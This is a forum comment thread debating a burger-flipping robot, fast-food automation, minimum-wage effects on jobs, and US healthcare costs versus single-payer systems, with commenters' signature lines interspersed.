Uh, no, Billy the 18yo prole can currently find a way to sell himself upwards and pay for school. It's gotten narrow (that was your point right?) but the lucky half of Prolekistan can still export.
I'd love to hear what job you think a billion instances of Billy will exporting upwards in 2150. Prolekistan's export is going to die. At least I'm unlikely to see it in my time.
Actually much of the cost is with middle men and bean counters not directly associated with healthcare givers.
I don't have a problem with my medical professionals making 6 figure salaries.....they sacrifice a lot to get the training, and often work grueling hours in conditions that would make most people puke....
Before we had HMO's and all the companies we do now, when Dr's were more independent, hung to their own shingle, and insurance was termed "Major Medical" (aka ONLY for emergencies)...prices were much cheaper and affordable.
And, part of keeping it that way, was people saving and spending their own money for routine medical needs and voting for Drs and treatment with their wallets.
Also, back then (I know from experience) Dr's often varied how much patients were billed according to their means.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
Well having real live servants will be a status symbol. The rich can come home to their army of very obedient servants, get their footwear licked clean and such and abuse their servants in other ways secure in the knowledge that there are 10+ potential servants lined up at the door willing to take that $10 a day job for each you have employed..
They'll be other ways having humans in the chain will be a status symbol in a world of robots. The best restaurants will have human servers and chefs if you're willing to pay the premium, and some of that premium might even trickle down to the employees.
They'll be status in having a human to clean your self driving cars sensors and once again due to the surplus of labour, it'll be cheap.
Prostitution is always popular when cheap enough. Abusing a robot just isn't as satisfying as abusing a real human.
I'm sure there are lots of other ways to employ people in demeaning ways for next to no pay and have huge lineups of potential employees. Great for the owners of the robots, who will have more money then they know what to do with.
https://en.wikipedia.org/wiki/Inverted_totalitarianism
The sad part is that we should be celebrating the day when robots take over all the work. Especially unpleasant work. But because of the screwed up way we run the economy, we snatch defeat from the jaws of victory and turn it into a fearful threat to survival instead.
FAIL!
Except all that new stuff is also made by robots. So again, how are those people earning money to buy more stuff?
Not to mention the planet cannot take another drastic increase in production like you propose.
Seriously??
Most clerks these days, especially in FF, seem to have the IQ and concentration capabilities of a small soap dish.
If you ask them anything remotely off the script, that isn't a 1 button push on the register, they get that blank look in their eyes, and often can't figure it out and have to call a manager.
And these days...the managers seem to more and more be at a loss for any problem solving for the customer.
Good, intelligent customer servers is DEAD today...and has been for awhile.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
And when it breaks there's always the service tech to help at $450/hr
Don't forget the overheads. No training costs. No HR or legal costs. Predictable performance, uninterrupted by family emergencies or sick days which would otherwise call for rescheduling shifts.
The kitchen of the future will still have humans. Just fewer of them. Possibly a lot fewer.
Agriculture still needs large numbers of low-skill workers - no-one has made a good fruit-picking robot yet. It's highly seasonal work though. Tends to attract a lot of undocumented labor - farmers get cheaper temporary workers, workers get a job where they can disappear once the harvest season is over.
Note that they're replacing human labor in China with robots too, and they're only making $15/DAY. Do you REALLY think someone in the U.S. can afford to live on less than $15 a DAY?
They're not that bad. I agree that they are impersonal, however, it's kind of nice to place your order then go sit down at a table, read the paper and McDonalds staff brings your food when it's ready.
but it seems that your reasons for disagreement support the contention that an increase in minimum wage is not causing producers to utilize automation where they otherwise would not.
A higher minimum wage does have SOME effect on whether automation is economical but it generally isn't as big an effect as many would have you believe. For businesses like a restaurant, it is generally extremely difficult to automate substantial portions of the business. You can raise the minimum wage and the net effect isn't going to be automation but rather more people eating at home more often. Some restaurants may go out of business but most of them will simply raise prices and people are still going to buy their pizza and burgers. Some workers will be displaced but not as many as many fear.
A lot depends on how easy it is to automate a given task and who the competition is. For my company we are competing against Chinese labor already so raising our minimum wage would have a modest effect on our business because we already have to go after certain types of jobs where we aren't trying to squeeze every penny out as it is. We need more talented labor already and that already costs much more than minimum wage. It might cost us some jobs but it isn't going to radically alter the calculus for us. We don't compete on the large volume jobs but instead smaller volume higher complexity jobs that are difficult to automate and that are difficult to send overseas.
whereas your argument is that humans are capable of doing low-skill tasks that machines are unable to do, so an increase in labor costs doesn't change the mechanics of human vs machine.
It's not just low skill tasks. High skill too. But changing the labor rate just changes where the tipping point is in the human vs robot decision. The lower labor costs are the higher the unit volumes have to be to justify the capital expense of automating. The equation is the same, just with slightly different inputs. As automation for a particular task becomes cheaper that also changes the equation but that tends to happen rather slowly or in step functions. Nobody is going to come out with a robot with human level intellect and flexibility for a long time if ever and even if they did it would cost a fortune. Specific tasks will be taken over by specialized automation but general purpose automation is a hugely difficult and expensive task. I have little worry that people aren't going to be able to find work within my lifetime.
I've been to the Pasadena location... It's attached to a club that does rock concerts.
The burgers are meh. Only good thing about the restaurant is they will loan you a wireless charging ring for your phone while you're eating. Oh. And the shakes.
General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
Don't worry about it. Those former burger-flippers will be taking a 6-month trade training course and will be making $15 driving around town doing robot repair and maintenance...
"Somebody has to do something. It's just incredibly pathetic it has to be us."
--- Jerry Garcia
Do you really think the device and pharmaceutical companies sell at a loss around the world? If they weren't turning a profit in Europe, they'd just stop selling there.
They're soaking Americans exactly because they can.
But even if we accept your premise, the economically rational thing for the U.S. to do is to implement universal single payer healthcare as well so that we would only be paying our own share of the cost rather than paying everyone else's as well.
Ahh.. The wonderful mythical days of yore...
Cheap storage VM.
The correct measure in the U.S. is taxes plus health insurance premiums plus healthcare copays. (don't forget that employers paying the insurance premiums counts too since they count that as part of the cost of employing you).
If you add all that up, Americans are paying more.
The healthcare industry is laughing at you behind your back for demanding to pay double. No rational economic actor would do that.
Funny thing about that. They blame the increased minimum wage for that, but they're also putting in the kiosks in in areas that didn't raise the minimum wage at all.
Don't let them fool you.
Well, that's one problem there, the employers should NOT be in the business of providing healthcare coverage to employees. This is a relatively 'new' thing....years back when competing for employees employers started using this as enticement for prospective employees, and it some how turned into the 'norm'.
Let the employees get that money as more salary and allow them more freedom for HSA's (Health Savings Accounts) which allow you to sock this money away pre-tax, and unlike FSA's...it isn't use it or lose it annually.
Then, folks could shop around with their medical $$'s...and buy insurance that suited their needs pre-tax.
And this would cut out yet one more middle man, the employer.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
fast food workers because they are stupid enough to think they deserve $15.00 for flipping burgers
It doesn't matter how much you think you should get paid for doing something, if I'm doing anything, I need to get paid a certain amount just to live. The burger joint could just not pay $15/hour and instead just pay $5/hour and see what happens. Ohh, no burgers to sell, now you're out of business. Well then, flipping burgers must be worth $15/hour.
The idea of "worth" is extremely abstract and not intrinsic.
Not mythical at all...I lived during the late 60-'s through the late 70's...maybe even somewhat into the 80's when this held true.
HMO's were the start of the evil that drove health care costs up....bean counters.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
The amount of government assistance is about the same (efficiency gain of fewer people), but the company saves money and one person if freed from the system
The overall economy grows.
How does the company save money? They're paying the same amount, but get less work in return. The value that is produced by one person being paid $15 / hr is significantly less than 3 people being paid $5 / hr. That's not growing the economy at all.
Even if employers just hand the money over as salary, the point remains, taxes + health insurance + copays in the U.S. are more expensive than taxes in Europe (which include better health insurance than you can buy in the U.S.).
It also remains irrational to demand that the situation not change in the U.S.
Your entire post is nothing more than rearranging the deck chairs on the Titanic.
The same could be said about self-checkout lanes in supermarkets, and they seem to be here to stay. Some people actually claim to prefer them to human cashiers, though I really don't know why.
Chelloveck
I give up on debugging. From now on, SIGSEGV is a feature.
Agriculture
I know, right? There's no tomato picking machines, apple picking machines, blueberry picking machines, or raspberry picking machines, AND THERE NEVER WILL BE!!!
Velociraptor = Distiraptor / Timeraptor
That *might* apply to drugs and devices, but the vast majority of the cost of health care is doctors' & nurses' salaries, real estate, and facilities. None of those are things that are made cheaper abroad by being overpriced in the US.
And that, folks, demonstrates just how effective the pharmaceutical industry is at lobbying and promoting propaganda!
"Somebody has to do something. It's just incredibly pathetic it has to be us."
--- Jerry Garcia
Great time to get into robotics. Learn to repair servos and hydrolics and make $50 hour in a few years.
It depends on how you define efficiency. If it's output per hour, then higher pay doesn't change that. If it's total cost per unit output, doubling pay does not halve efficiency, as there are many other costs that a business has, per unit of production.
If pay doubled, then there might be an incentive to examine automation, but there is also a lot of risk involved, and so few want to be early adopters.
"It's not a fun job -- it's hot, it's greasy, it's dirty,"
Actually, its quite fun. Did it many years going through HS and College.
What is "not fun" are asshole CEOs who think they are above such 'jobs'.
All I know is that it worked pretty well without super inflated costs just a few decades back, before the bean counters took charge.
Insurance should be nothing more than what used to be termed "major medical" for emergencies (i.e. hit by a bus or heart attack, etc)....and routine care saved for and paid for by the individual, just like you save for and pay utilities....
Again, then costs would come back down and responsibility back with the individual person.
The medicaid safety net would still be there for the truly poor and invalid.
No need for the hugely inefficient federal and then state bureaucracies to get involved and increase cost and inefficiency.
I do not believe nor trust the Federal govt to make my health decisions, nor pay for them.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
The immediate threat to labor isn't automation. It's immigration of both the illegal (low-skill) and visa (mid-skill) kind. Illegal immigration is impacting lawn care, food service, and construction industries. Visa workers affect IT, welders(!), pharmacy workers (!!), and others.
Most of our elected officials didn't want to deal with immigration, I doubt they'll do anything about automation.
That hasn't worked since the '70s when HMOs came into existence, supposedly to curb rising healthcare costs. They chose to pay for regular checkups and other routine care in order to avoid expensive major medical events. It was a market based "solution" to the already rising cost of major medical.
Clearly, the market was wrong. If fear of regulation hadn't paralyzed us for decades, perhaps healthcare wouldn't be such a disease ridden swamp today. At this point, I doubt the industry even knows how to operate in a reasonable manner. Half measures just won't do the job anymore. We have an industry that doesn't even understand the concept of prompt billing, accurate accounting, or even timely notification. The private bureaucracy is already so inefficient that the government bureaucracy actually looks pretty good.
The rest of the first world is doing much better with their single payer systems. Are you saying Americans are uniquely incompetent?
That's my point exactly....we should GO BACK to what was working in the 70's and before.
IT was a good system, and didn't require the federal and state governments to be involved with our healthcare.
If it worked then, why could it not work NOW?
Get rid of the HMO's and everything like them in place and go back to what it was before.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
No problem, they'll just raise the new minimum wage to $20/hr!
It doesn't matter how much you think you should get paid for doing something, if I'm doing anything, I need to get paid a certain amount just to live.
True, but that amount varies depending on your situation. If you are a teen living at your parent's house, you don't need as much as someone trying to support a family and pay a mortgage.
It doesn't make sense to declare that every job must pay a "living wage" because not every worker needs a "living wage". There is such a thing as a "starter" job, a job that has very low skill threshold needed and thus very low barriers to entry, but pays very little. The starter job is the first rung on the ladder of success. Rational workers might very well accept a $5 per hour starter job but would not stay at that job their whole lives.
The burger joint could just not pay $15/hour and instead just pay $5/hour and see what happens. Ohh, no burgers to sell, now you're out of business. Well then, flipping burgers must be worth $15/hour.
I agree completely with this sentiment, although I reach the opposite conclusion that you reached. If a place tries to pay too little, workers will not want to work there. The place will be forced to raise wages until people are willing to take the jobs. If $5 per hour is truly not enough, the place will be forced to offer more.
But the "Fight for Fifteen" movement is trying to force a $15 per hour minimum wage across the board, onto businesses that have historically not had any trouble filling their positions at an hourly rate of less than $15 per hour. Using your thought experiment, flipping burgers must not be worth $15 per hour, since free market competition doesn't produce salaries at that level naturally.
There is a natural equilibrium wage for a given industry in a given area. Offer too little, nobody will work for you. Offer too much, and you don't make enough profit and you are forced to shut down your business.
If the minimum wage is set below the natural equilibrium wage, it has no effect; people will be paid more than that naturally.
If the minimum wage is somehow set to exactly equal to the natural equilibrium wage, it will have no effect.
If the minimum wage is set above the natural equilibrium wage, it will have multiple effects that on the whole are not good. Fewer people will be hired for jobs; the employers are more likely to pile extra work onto those fewer people; and the employers are incented to try to find ways to replace the workers. The worst thing is drying up the pool of starter jobs... if there are fewer jobs, and the jobs have a forced high salaries, employers are incented not to take chances; they will hire the best candidates they can get, and not very many of those. This is hardest on the people who really need a job. It's called "sawing off the bottom rungs of the ladder of success". It's why, IMHO, if you truly want what is best for disadvantaged people, you should not raise the minimum wage.
Good workers will get more money. If an employer is a jerk and won't give raises to his good workers, then those workers can switch jobs and get more money somewhere else. (It's always easier to get a job when you already have a job.)
https://www.youtube.com/watch?v=HwcHRyvrNCE
lf(1): it's like ls(1) but sorts filenames by extension, tersely
The same could be said about self-checkout lanes in supermarkets, and they seem to be here to stay. Some people actually claim to prefer them to human cashiers, though I really don't know why.
My supermarket recently removed some of them and I'm annoyed as the human cashiers they hire these days not only tend to be slower but can't bag worth a damn, especially when you bring those reusable bags that you're encouraged to use. Unless you watch them and intervene you'll get a few reusable bags that are 1/3 full and a dozen plastic bags with the rest of your groceries in them.
The market came up with HMOs because the cost of major medical was rising fast. So to go back to what was working, we must first implement price controls to make major medical work again.
In other words, government control. But, with something like health care, we can't afford any gaps where prices are left out of control, the toll of that can be measured in actual lives lost. So step one is to curb the cost of major medical events. Next make uninsured general health care costs no more than an HMO. Then expand medicare/medicaid so everyone can afford that cost. Then ban HMOs. Somewhere in there we must mandate sane billing practices.
With all of that, the federal government will probably have to at least hold the possibility of single payer over the heads of insurance companies to make the premiums actually drop to match the reduced cost of major medical events. Without that threat, they'll just pocket the savings from the cost control.
A market approach just won't work otherwise. We tried letting the market solve the problem and the market promptly screwed the pooch.
As someone who's also nearing 28, that time is fast approaching. It's not a matter of the number of tasks automated, so much as it is what tasks are automated. Most menial labor, a.k.a service industry, is very easily automatable. The main thing that prevents it from getting production ready is obstacle navigation, path finding, and recovery of mobility. Throw a bunch of garbage on the floor and the bot stops being able to work without human intervention. That's the only thing that prevents practically every major retailer, restaurant, and warehousing company from replacing most of their jobs with bots. As for the "service with a smile" thing, that will be replaced with whatever the company deems worthy, if it gets kept at all.
The next one would be trucking. This industry's jobs are under attack from both ends. The long haul in the form of automated driving, and the last mile in the form of drone deliveries. Eliminating these jobs would not only put those employees out of work, but also the workers of their dependent industries. Truck stops, interstate gas stations, wearhouses, restaurants, fast food, etc. Basically any of the creature comforts you find along the highway would start to disappear over time, due to the decreasing number of patrons. Worse some outlying communities would cease to exist, or be severely threatened due to the disappearing businesses.
This may not be a lot, but it will fundamentally change how low skilled people can get money to sustain themselves, and how we view society. With many bots running around making big bucks for faceless corporations, while so many of our low skilled people are out of work and growing more desperate, I'd imagine everyone's view of society will start getting pretty stark in the near future.
Lol wonder if this burger flipper will get angry if you don't tip it.
$100/year with $1 bread is "better". Less zeros to count and less syllables to pronounce when conducting transactions.
The price of robots is falling fast. They are made by other robots in China.
I would agree that a limited $60K robot is at best marginally economical. But what about when it only costs $20K in a few years time. And has enough smarts to detect and resolve simple problems. And the order taking is automated. And there is another robot to assemble the burgers and hand them to the customers.
Not tomorrow. But in ten years time the world will be very different.
SJBE you make a good analysis of today's dumb robots. But as they slowly become more intelligent this will change. They will take less effort to set up, and they will be able to work in less structured environments.
How much and when is unknown. But it would be interesting to hear your perspective on this.
As to minimum wage, there have been many studies to show that they do not affect employment much. Business that worry how they would pay extra wages forget that their competitors also would need to pay them.
(Australian minimum wage is AU$17.70/hour (US$13.78) (permanent), but most work is on awards greater than that. And includes the free health care of course. No huge unemployment.)
No. You need to feed your slaves.
Incidentally, Australian minimum wage is US$13.78 with health care. No huge unemployment.
You failed to understand: SOME worker making x$/hour works 11 hours a day there, because they are open 11 hours a day. Might be one, two, or four workers. Doesn't matter. The point is, the business pays for such a worker for all 11 hours. Or, they don't pay a robot per hour, just initial acquisition + maintenance. So that's the cost to the business for that position. Which is what you would reasonably compare to the cost of having a robot in that position.
That's not applicable here. A burger flipper adds a few k, no more, to costs, mostly via taxes, because they typically receive no benefits and they have few other costs. Even so, to whatever extent the cost is higher than the $/hour wage, it simply makes the point further.
I've fallen off your lawn, and I can't get up.
A lot of the really old Sci-Fi was about that. Brave New World you were either an Engineer or you were on welfare (UBI).
People on UBI had about as many rights as the typical house pet. In other words none.
will be made into hamburgers. hakuna matata
When 20 - 30% of the human population is unemployable 10 - 20 years from now due to automation, there will be a considerable disruption to global economies.
This won't happen. We automated farming, we automated manufacture, we automated IT. Everything you use today used to take hundreds or thousands of times as many human labor hours to provide. That's right: we've eliminated 99.999% of all jobs in the past two centuries.
Yes, we've eliminated a lot of jobs, but we've also been rather busy creating a metric fuckton of jobs to replace those 99.999% of jobs. The advent of the internet alone created and sustains millions of jobs. But all of that is irrelevant going forward. My main point is the next generation of progress will make many humans unemployable. We've advanced ourselves a lot in the last few hundred years, but mental capacity is not really one of them. There are simpletons doing boring, simple jobs today just as there were 100 years ago. Those who choose to make a career out of a simple job usually do so because they have to. There is no "go get an education" option for them. Little Johnny Halfwit grew up and didn't get any smarter, and there's not a damn thing he can do other than a simple job. And there's a LOT of Johnny Halfwits out there. The simple jobs ARE going to be the ones attacked by automation first. And you will not pace Greed. The instant people started demanding a $15 minimum wage, corporations started investing in automation instead. Greed only cares about the bottom line, and usually cannot see any farther than the next few fiscal quarters.
On top of that, what jobs do intelligent people hold as they start climbing the proverbial ladder of success? What job helped pay your way through college? That's right, it was likely a simple job. Waitresses, cashiers, warehouse stockers, delivery drivers, etc. Cashiers alone comprise millions of jobs. And when you can replace the need for a cashier AND the cash register with an app (e.g. Sams Club Scan and Go), Greed starts looking at automation as the investment it truly is, impact to human employment be damned. Remove the simple jobs, and you start removing all people's ability to climb the ladder of success.
The only problem is progress causes transitional unemployment. Too much at once--too fast for your economy to shift demand and drive new supply, thus reallocating labor to new jobs--causes a pile-up of unemployment. If it's paced correctly, progress is limitless in the sense that it never results in permanent increases in unemployment.
Look at history, and you'll see we went through many painful transitions. The future is not hard to predict, and our economy is highly dependent on stability. Even a doubling of the unemployment rate would likely cause a considerable impact. As I said before, this next iteration of progress is different because it will make humans unemployable. And looking to tax the rich in order to create and fund some kind of UBI will also be predictable; we can't get the rich to pay taxes even today.
Sure, it's un-possible that some previous time when you were younger, more optimistic, and less scared would loom in your memory as greater then it was. Got it.
Cheap storage VM.
this next iteration of progress is different because it will make humans unemployable.
It won't. It will do the same thing that every iteration of technology in history has done. You're focusing on "hey a position to do X is no longer a job people do" and not on the macro-economy of "hey it still takes SOME human labor to make anything, and consumers keep buying more whenever they can spend more, so the demand for human labor goes up".
Humans will remain employable until 100% of all production scales infinitely with absolutely zero additional human labor.
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It is funny that my comment is modded as troll but this is literally the first step in replacing fast food workers with robots. It will be, like the automation of so many manual tasks, an iterative process where more and more parts of the job are incorporated. V1 is flipping burgers. V2 will be adding spices and cheese. V3 will put it on the bottom bun. V4 will put on toppings and the top bun.
There is no "-1 offended" or "-1 you don't agree with me" mod options for a reason.
I don't know who you are trying to fool but you got the wrong forum. People in here are generally interested in numbers and understand what they mean. I don't even bother to find you references for why your claim is incorrect because you are obviously a troll. I sent this message to you only to save your time in the future so you better be grateful to me.
this next iteration of progress is different because it will make humans unemployable.
It won't. It will do the same thing that every iteration of technology in history has done. You're focusing on "hey a position to do X is no longer a job people do" and not on the macro-economy of "hey it still takes SOME human labor to make anything, and consumers keep buying more whenever they can spend more, so the demand for human labor goes up".
Humans will remain employable until 100% of all production scales infinitely with absolutely zero additional human labor.
I'm not focused or even concerned about reaching the 100% goal. My point is it won't even take but 10 - 20% of the workforce becoming unemployable to create a massive impact on society and economic stability. And that percentage is a rather easy number to reach as much as we're seeing automation continue to evolve. Again, mental capacity is not something that has improved drastically, which means there are millions and millions of humans who will not easily find the kind of work they are capable of doing as simplistic jobs are permanently replaced by automation.
And keeping humans employed in order to maintain demand does not represent reality either. Greed doesn't care about human employment. Greed cares about the bottom line. The gig economy is a good example of this as a lot of people struggle to find full-time employment.
And the economists supporting these initiatives doesnâ(TM)t understand anything about WHO is actually paying their wages. What will happen the day noone can afford to pay for anything anymore? Prices will just drop through the floor with increased automation. And this will mean, a lot of companies will go out of business, because we will have over production. Just look at thr shipping industry for natural gas. A few years ago, prices were high, but now they have stagnated to a point were most companies does not make any proffit at all? And why? Because too many ships were built.
I'm not focused or even concerned about reaching the 100% goal. My point is it won't even take but 10 - 20% of the workforce becoming unemployable to create a massive impact on society and economic stability.
You won't make even 0.01% of the workforce unemployable until you make 100% of all forms of production scale with zero human labor.
If some good X gets cheaper, that's because the jobs required to scale are diminished. There are still jobs required to produce that thing until the cost is zero. Even if that good X hits a zero cost, it only opens up the capacity to buy other goods. So either humans buy more of good X, causing replacement employment (e.g. you need 10% as many workers, but consumers buy 10x more, so you need 100% as many human workers in total); or they buy some other good not X, causing replacement employment (that good scales up as far as consumer spending power reaches, which is just a diversion of wage no longer required to produce good X).
Until more production ceases to mean more jobs, employment will always gravitate toward a minimum unemployment rate. The way the US economy runs now, that rate is about 5%; in full-employment economies, it's theorized to be 2%-3%.
keeping humans employed in order to maintain demand does not represent reality either
You don't do that. What happens is people want to buy 100,000,000 of a thing, but you only have capacity to make 50,000,000; you have to buy more machines (which involve human labor to produce), maintain them (which involves human labor), and operate them (which also involves human labor). It's impossible at that precise moment to sell 100,000,000 of that thing without the economy in total employing more human labor.
Technology cuts back the number of laborers required to produce 50,000,000 or 100,000,000. That reduces costs, which allows remaining consumers to apply demand they previously couldn't (effective demand). That creates new jobs--if you want to maximize profit, anyway.
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